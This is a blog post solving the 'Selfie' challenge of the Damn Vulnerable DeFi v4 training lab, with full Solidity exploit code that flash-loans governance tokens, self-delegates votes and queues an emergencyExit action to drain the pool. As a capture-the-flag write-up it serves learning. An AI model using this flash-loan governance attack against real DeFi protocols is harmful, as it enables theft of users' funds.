Challenge 6: Selfie, Damn vulnerable defi V4 lazy solutions series

Siddharth PatelSiddharth Patel
3 min read

Why Lazy?

I’ll strongly assume that you’ve gone through challenge once or more time and you’ve some understandings of the challenge contracts flows. So, I’ll potentially will go towards solution directly.

Problem statement:

Save the world, you're batman🦇.

The Smart Contracts

  • DamnValuableVotes.sol: It's ERC20 smart contract inherited from ERC20, ERC20Permit and ERC20Votes. ERC20 Votes does not actually handle conducting the poll, it’s still a regular ERC20 token with snapshot and delegated voting abilities. Voting is usually handled by governance contracts.

  • SimpleGovernance.sol: The Simple Governance contract is at the heart of the governance mechanism. It allows users to propose and queue actions to be executed. These actions include specifying a target address, value, and data to be executed. However, these actions can only be executed if certain conditions are met, such as having enough votes from the governance token holders (at least 50% of total supply) and a time delay of 2 days since the action was proposed

  • SelfiePool.sol: The contract’s primary function is to provide flash loans for a specific ERC-20 token. Users can borrow tokens as long as they implement the IERC3156FlashBorrower interface. It’s equipped with a safety mechanism that allows the governance to drain funds from the pool in case of emergencies, it ensures that only the governance contract can trigger this emergency exit feature

Attack Strategy

Now, let’s discuss how we can exploit this setup to achieve our objective of acquiring all the DVT tokens.

  1. We notice that the governance mechanism allows the execution of actions, including the emergencyExit function in the pool contract. However, the emergencyExit function can only be called by the governance contract itself.

  2. We need to create an action in the governance in order to execute the emergencyExit function with our parameters.

  3. In order to queueAction we need at least 50% of the DVT tokens supply, which we don't have.

  4. We can utilize the flash loan function in the SelfiePool.sol contract to borrow a significant amount of DVT tokens without collateral which will be enough to queue actions. This is our entry point for the exploit.

Solution

Let's code it,

test/selfie/SelfieExploiter.sol

pragma solidity =0.8.25;


import {Test, console} from "forge-std/Test.sol";
import {SimpleGovernance} from "../../src/selfie/SimpleGovernance.sol";
import {SelfiePool} from "../../src/selfie/SelfiePool.sol";
import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol";
import {IERC3156FlashBorrower} from "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import {DamnValuableVotes} from "../../src/DamnValuableVotes.sol";

contract SelfieExploiter is IERC3156FlashBorrower{

    SelfiePool selfiePool;
    SimpleGovernance simpleGovernance;
    DamnValuableVotes damnValuableToken;
    uint actionId;

    bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");

    constructor(
        address _selfiePool, 
        address _simpleGovernance,
        address _token
    ){
        selfiePool = SelfiePool(_selfiePool);
        simpleGovernance = SimpleGovernance(_simpleGovernance);
        damnValuableToken = DamnValuableVotes(_token);
    }

    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32){

        damnValuableToken.delegate(address(this));

        uint _actionId = simpleGovernance.queueAction(
            address(selfiePool),
            0,
            data
        );
        actionId = _actionId;

        IERC20(token).approve(address(selfiePool), amount+fee);
        return CALLBACK_SUCCESS;
    }


    function exploitSetup(address recovery) external returns(bool){

        uint amountRequired = 1_500_000e18;
        bytes memory data = abi.encodeWithSignature("emergencyExit(address)", recovery);
        require(selfiePool.flashLoan(IERC3156FlashBorrower(address(this)), address(damnValuableToken), amountRequired, data));
        return true;
    }

    function exploitCloseup() external returns(bool){
        bytes memory resultData = simpleGovernance.executeAction(actionId);

        return true;
    }

}

Here, damnValuableToken.delegate(address(this)); is required to cast their vote as,

It is important to note that an address must delegate to itself before its votes are counted. This quirk is introduced for gas efficiency reasons.

test/selfie/Selfie.t.sol

    function test_selfie() public checkSolvedByPlayer {   
        SelfieExploiter exploiter = new SelfieExploiter(
            address(pool),
            address(governance),
            address(token)
        );

        require(exploiter.exploitSetup(address(recovery)));
        vm.warp(block.timestamp + 2 days);
        require(exploiter.exploitCloseup());
    }

See it in action,

forge test --mp test/selfie/Selfie.t.sol

Succeed!🔥💸

Incase if you need all solutions,

https://github.com/siddharth9903/damn-vulnerable-defi-v4-solutions

0
Subscribe to my newsletter

Read articles from Siddharth Patel directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Siddharth Patel
Siddharth Patel

I'm Siddharth Patel, a Full Stack Developer and Blockchain Engineer with a proven track record of spearheading innovative SaaS products and web3 development. My extensive portfolio spans across diverse sectors, from blockchain-based tokenized investment platforms to PoS software solutions for restaurants, and from decentralized finance (DeFi) initiatives to comprehensive analytics tools that harness big data for global stock trends. Let's connect and explore how we can innovate together.